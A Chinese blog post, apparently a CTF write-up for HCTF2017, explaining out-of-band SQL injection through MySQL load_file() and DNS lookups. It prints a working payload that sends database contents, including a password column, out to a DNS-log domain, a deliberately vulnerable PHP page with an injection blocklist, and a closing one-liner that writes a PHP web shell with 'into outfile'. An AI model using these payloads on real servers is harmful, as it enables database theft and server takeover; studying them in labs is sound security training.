OOB注入

源于HCTF2017的一道题目,看来自己还是太年轻了,这种注入自己以前一直没见过,然后一搜一大把。

SQL注入类型细分,分为以下5种:

1
2
3
4
5
1. Boolean-based blind SQL injection
2. Error-based SQL injection
3. UNION query SQL injection
4. Stacked queries SQL injection
5. Time-based blind SQL injection

共计3大类:

1
2
3
1. inband
2. inference
3. out of band(OOB)

OOB与我们熟知的inband类的注入相反。inband是利用web应用来直接获取数据,比如Error-based SQL injection和UNION query SQL injection都是属于inband类,它们都是通过web的响应或者错误反馈来提取数据。

而inference则是通过web的一些反映来推断数据,比如Boolean-based blind SQL injection和Stacked queries SQL injection 也就是我们通俗的盲注,通过web应用的其他改变来推断数据。

我们的主角OOB则是通过其他传输方式来获得数据,比如利用我们等会要说到的DNS解析协议和电子邮件。当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。

如何查看mysql是否开启了文件导入导出?
mysql>show global variables like '%secure%';
如果secure_file_priv的值为null,则没开启;如果为空,则开启;如果为目录,则说明只能在该目录下操作。

如何修改secure_file_priv

1
2
3
4
windows下:修改my.ini 在[mysqld]内加入secure_file_priv =
linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =
MYSQL新特性secure_file_priv对读写文件的影响
然后重启mysql,再查询secure_file_priv

原理什么的:

1
2
3
[http://bobao.360.cn/learning/detail/3458.html](http://bobao.360.cn/learning/detail/3458.html)
[http://www.freebuf.com/vuls/138838.html](http://www.freebuf.com/vuls/138838.html)
[http://www.jianshu.com/p/95c814c515a2](http://www.jianshu.com/p/95c814c515a2)

大致就是如果目标服务器是搭在win下,且有能操控文件的函数,且配置不当,如mysql中的secure_file_priv全局系统变量配置问题,就有可能会触发OOB注入。注入过程呢,是通过那些函数,例如load_file()去发送DNS请求,然后将我们的查询语句构造在DNS查询中,例如:

1
2
3
4
5
利用payload是:load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\abc'))
concat是字符串拼接
database()就是你要做SQL注入查询的地方
'.xxxx.ceye.io\abc'就是你的dnslog平台给你的域名
后面的abc可以改也可以不改,无所谓的,你乐意写啥就写啥

这里的域名是在http://ceye.io/中注册得到的。

boring website

这是HCTF2017的一道题目。
题目:https://github.com/hammerorz/HCTF2017-easy-sign-and-boring-website
wp:https://xianzhi.aliyun.com/forum/topic/1589/

知道了这个注入之后就很好做了,直接抄wp了

发现应该是sql serverlinkserver来连接mysql。所以去查了一波linkserver的用法,以及结合注释可得select * from openquery(mysql,'select xxx')可以从mysql数据库中查得信息,但是没有回显,sleep函数也被ban了,然后看到oob的提示,去查了一波mysql out-of-band,发现load_file函数可以通过dns通道把所查得的数据带出来。接下来的过程就是十分常见简单的mysql注入的流程。

这里值得另外一提的是,本来不知道原来还能用openquery来进行连接不同的服务器,又学到了。

我将题目重新搭了一下,不过因为本地没有安装sql server,所以就没有搭sql servser环境,只是复现了load_filedns查询。而一开始没有成功,发现是少了配置条件,没有配置secure-file-priv。截图如下:

本地数据库信息

重新搭的题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$conn=@mysql_connect("localhost",'root','root') or die("数据库连接失败!");;
#echo "Connected to MySQL<br />";
echo "Connected to MYSQL<br />";
mysql_select_db("sql4",$conn) or die("您要选择的数据库不存在");
if(isset($_GET['id'])){
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare
|if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('stupid hacker');
}
$query = "select username from not_here where id = $id";
$stmt = mysql_query( $query );
$arr=@mysql_fetch_array($query);
if (is_array($arr)){
//TO DO: ...
//It's time to sleep...
}
}
else print("?id");
?>

payload

1
?id=8 union select load_file(concat("\\\\",(select password from secret),".3g3dxq.ceye.io\\abc"))

结果

PS:
在搜索这些函数的时候,学会一个新姿势,算是意外之喜吧。用mysql写一句话:

1
select '<?php eval($_POST[cmd])?>' into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. boring website
,